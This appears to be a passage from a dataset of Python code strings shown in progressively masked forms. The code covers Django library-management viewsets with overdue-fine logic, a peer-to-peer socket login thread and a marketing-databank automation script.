authentication_classes = TokenAuthentication,\n permission_classes = ReadUpdateTeacherPermission,\n\n def get_serializer_class(self):\n if hasattr(self, 'action') and self.action == 'list':\n return BorrowerSerializer\n elif hasattr(self, 'action') and self.action == 'retrieve':\n return BorrowerDetailSerializer\n return BorrowerDetailSerializer\n\n def destroy(self, request, pk):\n teacher = self.get_object()\n teacher.is_active = False\n teacher.save()\n return Response(\"{'message':'Deleted'}\", status=status.HTTP_200_OK)\n\n\nclass BorrowerViewSet(viewsets.ModelViewSet):\n queryset = Borrower.objects.all()\n authentication_classes = TokenAuthentication,\n permission_classes = IsAdminUser,\n\n def get_serializer_class(self):\n if hasattr(self, 'action') and self.action == 'list':\n return BorrowerSerializer\n elif hasattr(self, 'action') and self.action == 'retrieve':\n return BorrowerDetailSerializer\n return BorrowerDetailSerializer\n\n\nclass IssueSlipViewSet(viewsets.ModelViewSet):\n queryset = IssueSlip.objects.all()\n authentication_classes = TokenAuthentication,\n permission_classes = IsAdminUser,\n serializer_class = IssueSlipSerializer\n\n def create(self, request, *args, **kwargs):\n serializer = self.get_serializer(data=request.data)\n serializer.is_valid(raise_exception=True)\n self.perform_create(serializer)\n return Response({'msg': 'The Book has been issued'}, status=status.\n HTTP_201_CREATED)\n\n def partial_update(self, request, *args, **kwargs):\n serializer = self.get_serializer(data=request.data)\n serializer.is_valid(raise_exception=True)\n issue_object = IssueSlip.objects.get(id=kwargs['pk'])\n book_object = Book.objects.get(id=issue_object.book_id)\n borrower_object = Borrower.objects.get(id=issue_object.borrower_id)\n book_object.is_available = True\n borrower_object.issue_count -= 1\n book_object.save()\n borrower_object.save()\n actual_return_date = datetime.now().replace(second=0, microsecond=0)\n if issue_object.due_date >= actual_return_date:\n request.data['actual_return_date'] = actual_return_date\n self.update(request, *args, **kwargs)\n return Response({'msg': 'You have no fine to pay'}, status=\n status.HTTP_200_OK)\n else:\n elapsed_time = actual_return_date - issue_object.due_date\n fine_amount = elapsed_time.seconds // 60\n request.data['actual_return_date'] = actual_return_date\n request.data['fine_amount'] = fine_amount\n self.update(request, *args, **kwargs)\n return Response({'msg': 'You have a fine to pay', 'fine':\n fine_amount}, status=status.HTTP_200_OK)\n", "<import token>\n<class token>\n<class token>\n<class token>\n\n\nclass StudentViewSet(viewsets.ModelViewSet):\n <assignment token>\n <assignment token>\n <assignment token>\n <function token>\n <function token>\n\n\nclass TeacherViewSet(viewsets.ModelViewSet):\n queryset = Borrower.objects.filter(borrower_type__iexact='T')\n authentication_classes = TokenAuthentication,\n permission_classes = ReadUpdateTeacherPermission,\n\n def get_serializer_class(self):\n if hasattr(self, 'action') and self.action == 'list':\n return BorrowerSerializer\n elif hasattr(self, 'action') and self.action == 'retrieve':\n return BorrowerDetailSerializer\n return BorrowerDetailSerializer\n\n def destroy(self, request, pk):\n teacher = self.get_object()\n teacher.is_active = False\n teacher.save()\n return Response(\"{'message':'Deleted'}\", status=status.HTTP_200_OK)\n\n\nclass BorrowerViewSet(viewsets.ModelViewSet):\n queryset = Borrower.objects.all()\n authentication_classes = TokenAuthentication,\n permission_classes = IsAdminUser,\n\n def get_serializer_class(self):\n if hasattr(self, 'action') and self.action == 'list':\n return BorrowerSerializer\n elif hasattr(self, 'action') and self.action == 'retrieve':\n return BorrowerDetailSerializer\n return BorrowerDetailSerializer\n\n\nclass IssueSlipViewSet(viewsets.ModelViewSet):\n queryset = IssueSlip.objects.all()\n authentication_classes = TokenAuthentication,\n permission_classes = IsAdminUser,\n serializer_class = IssueSlipSerializer\n\n def create(self, request, *args, **kwargs):\n serializer = self.get_serializer(data=request.data)\n serializer.is_valid(raise_exception=True)\n self.perform_create(serializer)\n return Response({'msg': 'The Book has been issued'}, status=status.\n HTTP_201_CREATED)\n\n def partial_update(self, request, *args, **kwargs):\n serializer = self.get_serializer(data=request.data)\n serializer.is_valid(raise_exception=True)\n issue_object = IssueSlip.objects.get(id=kwargs['pk'])\n book_object = Book.objects.get(id=issue_object.book_id)\n borrower_object = Borrower.objects.get(id=issue_object.borrower_id)\n book_object.is_available = True\n borrower_object.issue_count -= 1\n book_object.save()\n borrower_object.save()\n actual_return_date = datetime.now().replace(second=0, microsecond=0)\n if issue_object.due_date >= actual_return_date:\n request.data['actual_return_date'] = actual_return_date\n self.update(request, *args, **kwargs)\n return Response({'msg': 'You have no fine to pay'}, status=\n status.HTTP_200_OK)\n else:\n elapsed_time = actual_return_date - issue_object.due_date\n fine_amount = elapsed_time.seconds // 60\n request.data['actual_return_date'] = actual_return_date\n request.data['fine_amount'] = fine_amount\n self.update(request, *args, **kwargs)\n return Response({'msg': 'You have a fine to pay', 'fine':\n fine_amount}, status=status.HTTP_200_OK)\n", "<import token>\n<class token>\n<class token>\n<class token>\n<class token>\n\n\nclass TeacherViewSet(viewsets.ModelViewSet):\n queryset = Borrower.objects.filter(borrower_type__iexact='T')\n authentication_classes = TokenAuthentication,\n permission_classes = ReadUpdateTeacherPermission,\n\n def get_serializer_class(self):\n if hasattr(self, 'action') and self.action == 'list':\n return BorrowerSerializer\n elif hasattr(self, 'action') and self.action == 'retrieve':\n return BorrowerDetailSerializer\n return BorrowerDetailSerializer\n\n def destroy(self, request, pk):\n teacher = self.get_object()\n teacher.is_active = False\n teacher.save()\n return Response(\"{'message':'Deleted'}\", status=status.HTTP_200_OK)\n\n\nclass BorrowerViewSet(viewsets.ModelViewSet):\n queryset = Borrower.objects.all()\n authentication_classes = TokenAuthentication,\n permission_classes = IsAdminUser,\n\n def get_serializer_class(self):\n if hasattr(self, 'action') and self.action == 'list':\n return BorrowerSerializer\n elif hasattr(self, 'action') and self.action == 'retrieve':\n return BorrowerDetailSerializer\n return BorrowerDetailSerializer\n\n\nclass IssueSlipViewSet(viewsets.ModelViewSet):\n queryset = IssueSlip.objects.all()\n authentication_classes = TokenAuthentication,\n permission_classes = IsAdminUser,\n serializer_class = IssueSlipSerializer\n\n def create(self, request, *args, **kwargs):\n serializer = self.get_serializer(data=request.data)\n serializer.is_valid(raise_exception=True)\n self.perform_create(serializer)\n return Response({'msg': 'The Book has been issued'}, status=status.\n HTTP_201_CREATED)\n\n def partial_update(self, request, *args, **kwargs):\n serializer = self.get_serializer(data=request.data)\n serializer.is_valid(raise_exception=True)\n issue_object = IssueSlip.objects.get(id=kwargs['pk'])\n book_object = Book.objects.get(id=issue_object.book_id)\n borrower_object = Borrower.objects.get(id=issue_object.borrower_id)\n book_object.is_available = True\n borrower_object.issue_count -= 1\n book_object.save()\n borrower_object.save()\n actual_return_date = datetime.now().replace(second=0, microsecond=0)\n if issue_object.due_date >= actual_return_date:\n request.data['actual_return_date'] = actual_return_date\n self.update(request, *args, **kwargs)\n return Response({'msg': 'You have no fine to pay'}, status=\n status.HTTP_200_OK)\n else:\n elapsed_time = actual_return_date - issue_object.due_date\n fine_amount = elapsed_time.seconds // 60\n request.data['actual_return_date'] = actual_return_date\n request.data['fine_amount'] = fine_amount\n self.update(request, *args, **kwargs)\n return Response({'msg': 'You have a fine to pay', 'fine':\n fine_amount}, status=status.HTTP_200_OK)\n", "<import token>\n<class token>\n<class token>\n<class token>\n<class token>\n\n\nclass TeacherViewSet(viewsets.ModelViewSet):\n <assignment token>\n <assignment token>\n <assignment token>\n\n def get_serializer_class(self):\n if hasattr(self, 'action') and self.action == 'list':\n return BorrowerSerializer\n elif hasattr(self, 'action') and self.action == 'retrieve':\n return BorrowerDetailSerializer\n return BorrowerDetailSerializer\n\n def destroy(self, request, pk):\n teacher = self.get_object()\n teacher.is_active = False\n teacher.save()\n return Response(\"{'message':'Deleted'}\", status=status.HTTP_200_OK)\n\n\nclass BorrowerViewSet(viewsets.ModelViewSet):\n queryset = Borrower.objects.all()\n authentication_classes = TokenAuthentication,\n permission_classes = IsAdminUser,\n\n def get_serializer_class(self):\n if hasattr(self, 'action') and self.action == 'list':\n return BorrowerSerializer\n elif hasattr(self, 'action') and self.action == 'retrieve':\n return BorrowerDetailSerializer\n return BorrowerDetailSerializer\n\n\nclass IssueSlipViewSet(viewsets.ModelViewSet):\n queryset = IssueSlip.objects.all()\n authentication_classes = TokenAuthentication,\n permission_classes = IsAdminUser,\n serializer_class = IssueSlipSerializer\n\n def create(self, request, *args, **kwargs):\n serializer = self.get_serializer(data=request.data)\n serializer.is_valid(raise_exception=True)\n self.perform_create(serializer)\n return Response({'msg': 'The Book has been issued'}, status=status.\n HTTP_201_CREATED)\n\n def partial_update(self, request, *args, **kwargs):\n serializer = self.get_serializer(data=request.data)\n serializer.is_valid(raise_exception=True)\n issue_object = IssueSlip.objects.get(id=kwargs['pk'])\n book_object = Book.objects.get(id=issue_object.book_id)\n borrower_object = Borrower.objects.get(id=issue_object.borrower_id)\n book_object.is_available = True\n borrower_object.issue_count -= 1\n book_object.save()\n borrower_object.save()\n actual_return_date = datetime.now().replace(second=0, microsecond=0)\n if issue_object.due_date >= actual_return_date:\n request.data['actual_return_date'] = actual_return_date\n self.update(request, *args, **kwargs)\n return Response({'msg': 'You have no fine to pay'}, status=\n status.HTTP_200_OK)\n else:\n elapsed_time = actual_return_date - issue_object.due_date\n fine_amount = elapsed_time.seconds // 60\n request.data['actual_return_date'] = actual_return_date\n request.data['fine_amount'] = fine_amount\n self.update(request, *args, **kwargs)\n return Response({'msg': 'You have a fine to pay', 'fine':\n fine_amount}, status=status.HTTP_200_OK)\n", "<import token>\n<class token>\n<class token>\n<class token>\n<class token>\n\n\nclass TeacherViewSet(viewsets.ModelViewSet):\n <assignment token>\n <assignment token>\n <assignment token>\n <function token>\n\n def destroy(self, request, pk):\n teacher = self.get_object()\n teacher.is_active = False\n teacher.save()\n return Response(\"{'message':'Deleted'}\", status=status.HTTP_200_OK)\n\n\nclass BorrowerViewSet(viewsets.ModelViewSet):\n queryset = Borrower.objects.all()\n authentication_classes = TokenAuthentication,\n permission_classes = IsAdminUser,\n\n def get_serializer_class(self):\n if hasattr(self, 'action') and self.action == 'list':\n return BorrowerSerializer\n elif hasattr(self, 'action') and self.action == 'retrieve':\n return BorrowerDetailSerializer\n return BorrowerDetailSerializer\n\n\nclass IssueSlipViewSet(viewsets.ModelViewSet):\n queryset = IssueSlip.objects.all()\n authentication_classes = TokenAuthentication,\n permission_classes = IsAdminUser,\n serializer_class = IssueSlipSerializer\n\n def create(self, request, *args, **kwargs):\n serializer = self.get_serializer(data=request.data)\n serializer.is_valid(raise_exception=True)\n self.perform_create(serializer)\n return Response({'msg': 'The Book has been issued'}, status=status.\n HTTP_201_CREATED)\n\n def partial_update(self, request, *args, **kwargs):\n serializer = self.get_serializer(data=request.data)\n serializer.is_valid(raise_exception=True)\n issue_object = IssueSlip.objects.get(id=kwargs['pk'])\n book_object = Book.objects.get(id=issue_object.book_id)\n borrower_object = Borrower.objects.get(id=issue_object.borrower_id)\n book_object.is_available = True\n borrower_object.issue_count -= 1\n book_object.save()\n borrower_object.save()\n actual_return_date = datetime.now().replace(second=0, microsecond=0)\n if issue_object.due_date >= actual_return_date:\n request.data['actual_return_date'] = actual_return_date\n self.update(request, *args, **kwargs)\n return Response({'msg': 'You have no fine to pay'}, status=\n status.HTTP_200_OK)\n else:\n elapsed_time = actual_return_date - issue_object.due_date\n fine_amount = elapsed_time.seconds // 60\n request.data['actual_return_date'] = actual_return_date\n request.data['fine_amount'] = fine_amount\n self.update(request, *args, **kwargs)\n return Response({'msg': 'You have a fine to pay', 'fine':\n fine_amount}, status=status.HTTP_200_OK)\n", "<import token>\n<class token>\n<class token>\n<class token>\n<class token>\n\n\nclass TeacherViewSet(viewsets.ModelViewSet):\n <assignment token>\n <assignment token>\n <assignment token>\n <function token>\n <function token>\n\n\nclass BorrowerViewSet(viewsets.ModelViewSet):\n queryset = Borrower.objects.all()\n authentication_classes = TokenAuthentication,\n permission_classes = IsAdminUser,\n\n def get_serializer_class(self):\n if hasattr(self, 'action') and self.action == 'list':\n return BorrowerSerializer\n elif hasattr(self, 'action') and self.action == 'retrieve':\n return BorrowerDetailSerializer\n return BorrowerDetailSerializer\n\n\nclass IssueSlipViewSet(viewsets.ModelViewSet):\n queryset = IssueSlip.objects.all()\n authentication_classes = TokenAuthentication,\n permission_classes = IsAdminUser,\n serializer_class = IssueSlipSerializer\n\n def create(self, request, *args, **kwargs):\n serializer = self.get_serializer(data=request.data)\n serializer.is_valid(raise_exception=True)\n self.perform_create(serializer)\n return Response({'msg': 'The Book has been issued'}, status=status.\n HTTP_201_CREATED)\n\n def partial_update(self, request, *args, **kwargs):\n serializer = self.get_serializer(data=request.data)\n serializer.is_valid(raise_exception=True)\n issue_object = IssueSlip.objects.get(id=kwargs['pk'])\n book_object = Book.objects.get(id=issue_object.book_id)\n borrower_object = Borrower.objects.get(id=issue_object.borrower_id)\n book_object.is_available = True\n borrower_object.issue_count -= 1\n book_object.save()\n borrower_object.save()\n actual_return_date = datetime.now().replace(second=0, microsecond=0)\n if issue_object.due_date >= actual_return_date:\n request.data['actual_return_date'] = actual_return_date\n self.update(request, *args, **kwargs)\n return Response({'msg': 'You have no fine to pay'}, status=\n status.HTTP_200_OK)\n else:\n elapsed_time = actual_return_date - issue_object.due_date\n fine_amount = elapsed_time.seconds // 60\n request.data['actual_return_date'] = actual_return_date\n request.data['fine_amount'] = fine_amount\n self.update(request, *args, **kwargs)\n return Response({'msg': 'You have a fine to pay', 'fine':\n fine_amount}, status=status.HTTP_200_OK)\n", "<import token>\n<class token>\n<class token>\n<class token>\n<class token>\n<class token>\n\n\nclass BorrowerViewSet(viewsets.ModelViewSet):\n queryset = Borrower.objects.all()\n authentication_classes = TokenAuthentication,\n permission_classes = IsAdminUser,\n\n def get_serializer_class(self):\n if hasattr(self, 'action') and self.action == 'list':\n return BorrowerSerializer\n elif hasattr(self, 'action') and self.action == 'retrieve':\n return BorrowerDetailSerializer\n return BorrowerDetailSerializer\n\n\nclass IssueSlipViewSet(viewsets.ModelViewSet):\n queryset = IssueSlip.objects.all()\n authentication_classes = TokenAuthentication,\n permission_classes = IsAdminUser,\n serializer_class = IssueSlipSerializer\n\n def create(self, request, *args, **kwargs):\n serializer = self.get_serializer(data=request.data)\n serializer.is_valid(raise_exception=True)\n self.perform_create(serializer)\n return Response({'msg': 'The Book has been issued'}, status=status.\n HTTP_201_CREATED)\n\n def partial_update(self, request, *args, **kwargs):\n serializer = self.get_serializer(data=request.data)\n serializer.is_valid(raise_exception=True)\n issue_object = IssueSlip.objects.get(id=kwargs['pk'])\n book_object = Book.objects.get(id=issue_object.book_id)\n borrower_object = Borrower.objects.get(id=issue_object.borrower_id)\n book_object.is_available = True\n borrower_object.issue_count -= 1\n book_object.save()\n borrower_object.save()\n actual_return_date = datetime.now().replace(second=0, microsecond=0)\n if issue_object.due_date >= actual_return_date:\n request.data['actual_return_date'] = actual_return_date\n self.update(request, *args, **kwargs)\n return Response({'msg': 'You have no fine to pay'}, status=\n status.HTTP_200_OK)\n else:\n elapsed_time = actual_return_date - issue_object.due_date\n fine_amount = elapsed_time.seconds // 60\n request.data['actual_return_date'] = actual_return_date\n request.data['fine_amount'] = fine_amount\n self.update(request, *args, **kwargs)\n return Response({'msg': 'You have a fine to pay', 'fine':\n fine_amount}, status=status.HTTP_200_OK)\n", "<import token>\n<class token>\n<class token>\n<class token>\n<class token>\n<class token>\n\n\nclass BorrowerViewSet(viewsets.ModelViewSet):\n <assignment token>\n <assignment token>\n <assignment token>\n\n def get_serializer_class(self):\n if hasattr(self, 'action') and self.action == 'list':\n return BorrowerSerializer\n elif hasattr(self, 'action') and self.action == 'retrieve':\n return BorrowerDetailSerializer\n return BorrowerDetailSerializer\n\n\nclass IssueSlipViewSet(viewsets.ModelViewSet):\n queryset = IssueSlip.objects.all()\n authentication_classes = TokenAuthentication,\n permission_classes = IsAdminUser,\n serializer_class = IssueSlipSerializer\n\n def create(self, request, *args, **kwargs):\n serializer = self.get_serializer(data=request.data)\n serializer.is_valid(raise_exception=True)\n self.perform_create(serializer)\n return Response({'msg': 'The Book has been issued'}, status=status.\n HTTP_201_CREATED)\n\n def partial_update(self, request, *args, **kwargs):\n serializer = self.get_serializer(data=request.data)\n serializer.is_valid(raise_exception=True)\n issue_object = IssueSlip.objects.get(id=kwargs['pk'])\n book_object = Book.objects.get(id=issue_object.book_id)\n borrower_object = Borrower.objects.get(id=issue_object.borrower_id)\n book_object.is_available = True\n borrower_object.issue_count -= 1\n book_object.save()\n borrower_object.save()\n actual_return_date = datetime.now().replace(second=0, microsecond=0)\n if issue_object.due_date >= actual_return_date:\n request.data['actual_return_date'] = actual_return_date\n self.update(request, *args, **kwargs)\n return Response({'msg': 'You have no fine to pay'}, status=\n status.HTTP_200_OK)\n else:\n elapsed_time = actual_return_date - issue_object.due_date\n fine_amount = elapsed_time.seconds // 60\n request.data['actual_return_date'] = actual_return_date\n request.data['fine_amount'] = fine_amount\n self.update(request, *args, **kwargs)\n return Response({'msg': 'You have a fine to pay', 'fine':\n fine_amount}, status=status.HTTP_200_OK)\n", "<import token>\n<class token>\n<class token>\n<class token>\n<class token>\n<class token>\n\n\nclass BorrowerViewSet(viewsets.ModelViewSet):\n <assignment token>\n <assignment token>\n <assignment token>\n <function token>\n\n\nclass IssueSlipViewSet(viewsets.ModelViewSet):\n queryset = IssueSlip.objects.all()\n authentication_classes = TokenAuthentication,\n permission_classes = IsAdminUser,\n serializer_class = IssueSlipSerializer\n\n def create(self, request, *args, **kwargs):\n serializer = self.get_serializer(data=request.data)\n serializer.is_valid(raise_exception=True)\n self.perform_create(serializer)\n return Response({'msg': 'The Book has been issued'}, status=status.\n HTTP_201_CREATED)\n\n def partial_update(self, request, *args, **kwargs):\n serializer = self.get_serializer(data=request.data)\n serializer.is_valid(raise_exception=True)\n issue_object = IssueSlip.objects.get(id=kwargs['pk'])\n book_object = Book.objects.get(id=issue_object.book_id)\n borrower_object = Borrower.objects.get(id=issue_object.borrower_id)\n book_object.is_available = True\n borrower_object.issue_count -= 1\n book_object.save()\n borrower_object.save()\n actual_return_date = datetime.now().replace(second=0, microsecond=0)\n if issue_object.due_date >= actual_return_date:\n request.data['actual_return_date'] = actual_return_date\n self.update(request, *args, **kwargs)\n return Response({'msg': 'You have no fine to pay'}, status=\n status.HTTP_200_OK)\n else:\n elapsed_time = actual_return_date - issue_object.due_date\n fine_amount = elapsed_time.seconds // 60\n request.data['actual_return_date'] = actual_return_date\n request.data['fine_amount'] = fine_amount\n self.update(request, *args, **kwargs)\n return Response({'msg': 'You have a fine to pay', 'fine':\n fine_amount}, status=status.HTTP_200_OK)\n", "<import token>\n<class token>\n<class token>\n<class token>\n<class token>\n<class token>\n<class token>\n\n\nclass IssueSlipViewSet(viewsets.ModelViewSet):\n queryset = IssueSlip.objects.all()\n authentication_classes = TokenAuthentication,\n permission_classes = IsAdminUser,\n serializer_class = IssueSlipSerializer\n\n def create(self, request, *args, **kwargs):\n serializer = self.get_serializer(data=request.data)\n serializer.is_valid(raise_exception=True)\n self.perform_create(serializer)\n return Response({'msg': 'The Book has been issued'}, status=status.\n HTTP_201_CREATED)\n\n def partial_update(self, request, *args, **kwargs):\n serializer = self.get_serializer(data=request.data)\n serializer.is_valid(raise_exception=True)\n issue_object = IssueSlip.objects.get(id=kwargs['pk'])\n book_object = Book.objects.get(id=issue_object.book_id)\n borrower_object = Borrower.objects.get(id=issue_object.borrower_id)\n book_object.is_available = True\n borrower_object.issue_count -= 1\n book_object.save()\n borrower_object.save()\n actual_return_date = datetime.now().replace(second=0, microsecond=0)\n if issue_object.due_date >= actual_return_date:\n request.data['actual_return_date'] = actual_return_date\n self.update(request, *args, **kwargs)\n return Response({'msg': 'You have no fine to pay'}, status=\n status.HTTP_200_OK)\n else:\n elapsed_time = actual_return_date - issue_object.due_date\n fine_amount = elapsed_time.seconds // 60\n request.data['actual_return_date'] = actual_return_date\n request.data['fine_amount'] = fine_amount\n self.update(request, *args, **kwargs)\n return Response({'msg': 'You have a fine to pay', 'fine':\n fine_amount}, status=status.HTTP_200_OK)\n", "<import token>\n<class token>\n<class token>\n<class token>\n<class token>\n<class token>\n<class token>\n\n\nclass IssueSlipViewSet(viewsets.ModelViewSet):\n <assignment token>\n <assignment token>\n <assignment token>\n <assignment token>\n\n def create(self, request, *args, **kwargs):\n serializer = self.get_serializer(data=request.data)\n serializer.is_valid(raise_exception=True)\n self.perform_create(serializer)\n return Response({'msg': 'The Book has been issued'}, status=status.\n HTTP_201_CREATED)\n\n def partial_update(self, request, *args, **kwargs):\n serializer = self.get_serializer(data=request.data)\n serializer.is_valid(raise_exception=True)\n issue_object = IssueSlip.objects.get(id=kwargs['pk'])\n book_object = Book.objects.get(id=issue_object.book_id)\n borrower_object = Borrower.objects.get(id=issue_object.borrower_id)\n book_object.is_available = True\n borrower_object.issue_count -= 1\n book_object.save()\n borrower_object.save()\n actual_return_date = datetime.now().replace(second=0, microsecond=0)\n if issue_object.due_date >= actual_return_date:\n request.data['actual_return_date'] = actual_return_date\n self.update(request, *args, **kwargs)\n return Response({'msg': 'You have no fine to pay'}, status=\n status.HTTP_200_OK)\n else:\n elapsed_time = actual_return_date - issue_object.due_date\n fine_amount = elapsed_time.seconds // 60\n request.data['actual_return_date'] = actual_return_date\n request.data['fine_amount'] = fine_amount\n self.update(request, *args, **kwargs)\n return Response({'msg': 'You have a fine to pay', 'fine':\n fine_amount}, status=status.HTTP_200_OK)\n", "<import token>\n<class token>\n<class token>\n<class token>\n<class token>\n<class token>\n<class token>\n\n\nclass IssueSlipViewSet(viewsets.ModelViewSet):\n <assignment token>\n <assignment token>\n <assignment token>\n <assignment token>\n\n def create(self, request, *args, **kwargs):\n serializer = self.get_serializer(data=request.data)\n serializer.is_valid(raise_exception=True)\n self.perform_create(serializer)\n return Response({'msg': 'The Book has been issued'}, status=status.\n HTTP_201_CREATED)\n <function token>\n", "<import token>\n<class token>\n<class token>\n<class token>\n<class token>\n<class token>\n<class token>\n\n\nclass IssueSlipViewSet(viewsets.ModelViewSet):\n <assignment token>\n <assignment token>\n <assignment token>\n <assignment token>\n <function token>\n <function token>\n", "<import token>\n<class token>\n<class token>\n<class token>\n<class token>\n<class token>\n<class token>\n<class token>\n" ]

[ "import socket\nimport sys\nimport Util\nimport threading as th\nfrom dataBase import dataBase\nfrom plot_net import plot_net\nfrom matplotlib.pyplot import pause\n\nclass t_login(th.Thread):\n\tdef __init__(self,other_peersocket, packet):\n\t\tth.Thread.__init__(self)\n\t\tself.other_peersocket = other_peersocket\n\t\tself.packet = packet\n\n\tdef run(self):\n\t\tdb = dataBase()\n\n\t\tip = self.packet[:55]\n\t\tport = self.packet[55:]\n\t\t\n\t\tsid = db.login(ip, port)\n\n\t\tpacket = \"ALGI\" + str(sid)\n\t\tself.other_peersocket.send(packet.encode())\n\t\tself.other_peersocket.close()", "import socket\nimport sys\nimport Util\nimport threading as th\nfrom dataBase import dataBase\nfrom plot_net import plot_net\nfrom matplotlib.pyplot import pause\n\n\nclass t_login(th.Thread):\n\n def __init__(self, other_peersocket, packet):\n th.Thread.__init__(self)\n self.other_peersocket = other_peersocket\n self.packet = packet\n\n def run(self):\n db = dataBase()\n ip = self.packet[:55]\n port = self.packet[55:]\n sid = db.login(ip, port)\n packet = 'ALGI' + str(sid)\n self.other_peersocket.send(packet.encode())\n self.other_peersocket.close()\n", "<import token>\n\n\nclass t_login(th.Thread):\n\n def __init__(self, other_peersocket, packet):\n th.Thread.__init__(self)\n self.other_peersocket = other_peersocket\n self.packet = packet\n\n def run(self):\n db = dataBase()\n ip = self.packet[:55]\n port = self.packet[55:]\n sid = db.login(ip, port)\n packet = 'ALGI' + str(sid)\n self.other_peersocket.send(packet.encode())\n self.other_peersocket.close()\n", "<import token>\n\n\nclass t_login(th.Thread):\n <function token>\n\n def run(self):\n db = dataBase()\n ip = self.packet[:55]\n port = self.packet[55:]\n sid = db.login(ip, port)\n packet = 'ALGI' + str(sid)\n self.other_peersocket.send(packet.encode())\n self.other_peersocket.close()\n", "<import token>\n\n\nclass t_login(th.Thread):\n <function token>\n <function token>\n", "<import token>\n<class token>\n" ]

[ "from ADB import set_pause, AutoDatabank\nfrom ADB import t180, t365, somedays\nfrom datetime import datetime, timedelta\n\nset_pause(0.25,0.35)\nxx = AutoDatabank(2, False, 'dp')\nxx.brand_name = 'ASICS'\nxx.zszw_order = 2\n\nts = '2018-10-20'\nte = '2018-11-11'\n\ntb = '2018-10-19'\n\n\ndef xinke_and_laoke_baoguang(people_type):\n if people_type == 'xinke':\n namess = '新客'\n jbc = 3\n elif people_type == 'laoke':\n namess = '老客'\n jbc = 1\n\n xx.cp()\n xx.qll(34, tb, tb) # xx.zdy('历史老客YJA')\n xx.zszw([1, 99], ts, te, jbc)\n xx.sp(namess + '--全部曝光')\n\n for i in range(1, 9, 1):\n xx.cp()\n xx.qll(34, tb, tb)\n xx.zszw([i, i], ts, te, jbc)\n xx.zszw([1, 99], ts, te, 3)\n xx.sp(namess + '--全部曝光X%s' % i)\n\n\ndef xinke_and_laoke_YJJ(people_type):\n if people_type == 'xinke':\n namess = '新客'\n jbc = 3\n elif people_type == 'laoke':\n namess = '老客'\n jbc = 1\n\n for i in range(1, 9, 1):\n xx.cp()\n xx.qll(1, te, te) # 以A人群作为辅助人群\n xx.dp(5, ts, te, jbc=2) # xx.zdy('活动期购买YJA', jbc=2)\n xx.qll(34, tb, tb, jbc=1) # xx.zdy('历史老客YJA', jbc=1)\n xx.zszw([i, i], ts, te, jbc)\n xx.sp(namess + '--曝光%s次' % i + '【G')\n\n\nif __name__ == '__main__':\n xinke_and_laoke_baoguang('xinke')\n xinke_and_laoke_baoguang('laoke')\n\n # xx.cp()\n # xx.qll(1,'2019-1-20','2019-1-20')\n # xx.sp('YJJ')\n\n xinke_and_laoke_YJJ('xinke')\n xinke_and_laoke_YJJ('laoke')\n", "from ADB import set_pause, AutoDatabank\nfrom ADB import t180, t365, somedays\nfrom datetime import datetime, timedelta\nset_pause(0.25, 0.35)\nxx = AutoDatabank(2, False, 'dp')\nxx.brand_name = 'ASICS'\nxx.zszw_order = 2\nts = '2018-10-20'\nte = '2018-11-11'\ntb = '2018-10-19'\n\n\ndef xinke_and_laoke_baoguang(people_type):\n if people_type == 'xinke':\n namess = '新客'\n jbc = 3\n elif people_type == 'laoke':\n namess = '老客'\n jbc = 1\n xx.cp()\n xx.qll(34, tb, tb)\n xx.zszw([1, 99], ts, te, jbc)\n xx.sp(namess + '--全部曝光')\n for i in range(1, 9, 1):\n xx.cp()\n xx.qll(34, tb, tb)\n xx.zszw([i, i], ts, te, jbc)\n xx.zszw([1, 99], ts, te, 3)\n xx.sp(namess + '--全部曝光X%s' % i)\n\n\ndef xinke_and_laoke_YJJ(people_type):\n if people_type == 'xinke':\n namess = '新客'\n jbc = 3\n elif people_type == 'laoke':\n namess = '老客'\n jbc = 1\n for i in range(1, 9, 1):\n xx.cp()\n xx.qll(1, te, te)\n xx.dp(5, ts, te, jbc=2)\n xx.qll(34, tb, tb, jbc=1)\n xx.zszw([i, i], ts, te, jbc)\n xx.sp(namess + '--曝光%s次' % i + '【G')\n\n\nif __name__ == '__main__':\n xinke_and_laoke_baoguang('xinke')\n xinke_and_laoke_baoguang('laoke')\n xinke_and_laoke_YJJ('xinke')\n xinke_and_laoke_YJJ('laoke')\n", "<import token>\nset_pause(0.25, 0.35)\nxx = AutoDatabank(2, False, 'dp')\nxx.brand_name = 'ASICS'\nxx.zszw_order = 2\nts = '2018-10-20'\nte = '2018-11-11'\ntb = '2018-10-19'\n\n\ndef xinke_and_laoke_baoguang(people_type):\n if people_type == 'xinke':\n namess = '新客'\n jbc = 3\n elif people_type == 'laoke':\n namess = '老客'\n jbc = 1\n xx.cp()\n xx.qll(34, tb, tb)\n xx.zszw([1, 99], ts, te, jbc)\n xx.sp(namess + '--全部曝光')\n for i in range(1, 9, 1):\n xx.cp()\n xx.qll(34, tb, tb)\n xx.zszw([i, i], ts, te, jbc)\n xx.zszw([1, 99], ts, te, 3)\n xx.sp(namess + '--全部曝光X%s' % i)\n\n\ndef xinke_and_laoke_YJJ(people_type):\n if people_type == 'xinke':\n namess = '新客'\n jbc = 3\n elif people_type == 'laoke':\n namess = '老客'\n jbc = 1\n for i in range(1, 9, 1):\n xx.cp()\n xx.qll(1, te, te)\n xx.dp(5, ts, te, jbc=2)\n xx.qll(34, tb, tb, jbc=1)\n xx.zszw([i, i], ts, te, jbc)\n xx.sp(namess + '--曝光%s次' % i + '【G')\n\n\nif __name__ == '__main__':\n xinke_and_laoke_baoguang('xinke')\n xinke_and_laoke_baoguang('laoke')\n xinke_and_laoke_YJJ('xinke')\n xinke_and_laoke_YJJ('laoke')\n", "<import token>\nset_pause(0.25, 0.35)\n<assignment token>\n\n\ndef xinke_and_laoke_baoguang(people_type):\n if people_type == 'xinke':\n namess = '新客'\n jbc = 3\n elif people_type == 'laoke':\n namess = '老客'\n jbc = 1\n xx.cp()\n xx.qll(34, tb, tb)\n xx.zszw([1, 99], ts, te, jbc)\n xx.sp(namess + '--全部曝光')\n for i in range(1, 9, 1):\n xx.cp()\n xx.qll(34, tb, tb)\n xx.zszw([i, i], ts, te, jbc)\n xx.zszw([1, 99], ts, te, 3)\n xx.sp(namess + '--全部曝光X%s' % i)\n\n\ndef xinke_and_laoke_YJJ(people_type):\n if people_type == 'xinke':\n namess = '新客'\n jbc = 3\n elif people_type == 'laoke':\n namess = '老客'\n jbc = 1\n for i in range(1, 9, 1):\n xx.cp()\n xx.qll(1, te, te)\n xx.dp(5, ts, te, jbc=2)\n xx.qll(34, tb, tb, jbc=1)\n xx.zszw([i, i], ts, te, jbc)\n xx.sp(namess + '--曝光%s次' % i + '【G')\n\n\nif __name__ == '__main__':\n xinke_and_laoke_baoguang('xinke')\n xinke_and_laoke_baoguang('laoke')\n 